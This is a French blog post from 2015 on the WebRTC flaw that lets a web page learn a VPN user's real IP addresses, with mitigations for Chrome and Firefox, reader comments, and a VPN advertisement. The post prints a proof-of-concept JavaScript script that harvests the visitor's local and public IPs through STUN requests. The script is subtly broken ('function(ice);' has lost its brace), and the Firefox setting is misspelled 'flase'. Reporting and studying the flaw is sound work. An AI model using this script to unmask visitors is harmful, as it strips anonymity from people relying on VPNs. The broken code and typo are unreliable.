Une faille de WebRTC dévoile les adresses IP que vous pensiez masquer en utilisant un VPN
mer, 04/02/2015 - 17:47
Cette faille est décrite sur le blog de torguard.net, une société qui propose des services de VPN justement. Les VPN, pour Virtual Private NetVork sont souvent utilisés comme passerelle vers Internet, par ceux qui désirent masquer leur adresse IP et conserver un certain anonymat.
Dans ce cas, lorsqu'ils surfent, c'est l'adresse IP du proxy utilisé qui est visible sur Internet, non celle de leurs machines propres. Un serveur de site, par exemple, ne peut donc pas connaître l'IP réelle.
Ceci quand tout va bien... :-)
Seulement voilà, une faille dans le protocole WebRTC, implémenté par les navigateurs Firefox et Chrome, permet de révéler l'IP réelle d'un internaute utilisant un VPN. Des requêtes émises via ce protocole vers des serveurs STUN retournent à la fois l'IP locale et l'P publique, et ces données sont lisibles avec JavaScript. Un internaute peut donc être attaqué par un simple bout de code JavaScript présent dans une page visitée.
Seules les versions Windows de Chrome et Firefox sont touchées par la vulnérabilité.
Le billet de blog susmentionné donne un lien vers un plugin permettant de combler la vulnérabilité dans Chrome. Les utilisateurs de Firefox doivent saisir about:config dans leur barre d'URL pour accéder à la configuration de leur navigateur, après quoi, ils doivent positionner media.peerconnection.enabled à flase pour combler la faille.
Un morceau de code JavaScript téléchargeable sur GitHub https://github.com/diafygi/webrtc-ips démontre la vulnérabilité :
//get the IP addresses associated with an account
function getIPs(callback){
var ip_dups = {};
//compatibility for firefox and chrome
var RTCPeerConnection = window.RTCPeerConnection
|| window.mozRTCPeerConnection
|| window.webkitRTCPeerConnection;
var mediaConstraints = {
optional: [{RtpDataChannels: true}]
};
// firefox already has a default stun server in about:config
// media.peerconnection.default_iceservers =
// [{"url": "stun:stun.services.mozilla.com"}]
var servers = undefined;
//add same stun server for chrome
if(window.webkitRTCPeerConnection)
servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};
//construct a new RTCPeerConnection
var pc = new RTCPeerConnection(servers, mediaConstraints);
//listen for candidate events
pc.onicecandidate = function(ice);
//skip non-candidate events
if(ice.candidate){
//match just the IP address
var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/
var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];
//remove duplicates
if(ip_dups[ip_addr] === undefined)
callback(ip_addr);
ip_dups[ip_addr] = true;
}
};
//create a bogus data channel
pc.createDataChannel("");
//create an offer sdp
pc.createOffer(function(result){
//trigger the stun server request
pc.setLocalDescription(result, function(){}, function(){});
}, function(){});
}
//Test: Print the IP addresses into the console
getIPs(function(ip){console.log(ip);});
Commentaires
"Des requêtes émises via ce protocole vers des serveurs STUN retournent à la fois l'IP locale et l'P publique"
Comment un serveur peut arriver à connaitre l'IP locale?
C'est absurde!
Essayez le code :-)
Son texte d'accompagnement sur GitHub est clair "Firefox and Chrome have implemented WebRTC that allow requests to STUN servers be made that will return the local and public IP addresses for the user. These request results are available to javascript, so you can now obtain a users local and public IP addresses in javascript. This demo is an example implementation of that."
Alors comment ? Je n'ai pas approdonfi, mais à priori l'implémtantion WebRTC fourni l'adresse IP locale au serveur STUN en fonctionnement normal.
Personne ne recherche un serveur en France. A moins d’aimer l’adrenaline et de croire que ça passera, après tous !
vpnmag.fr
Attention, WebRTC n'est qu'un soucis parmi d'autres concernant l'anonymat et les VPN ! Il est impératif de soigner sa configuration afin d'éviter DNS leak et IPv6 leak. Peu de gens connaissent ces points faibles aujourd'hui... Plus d'explications ici : http://goo.gl/czhOIG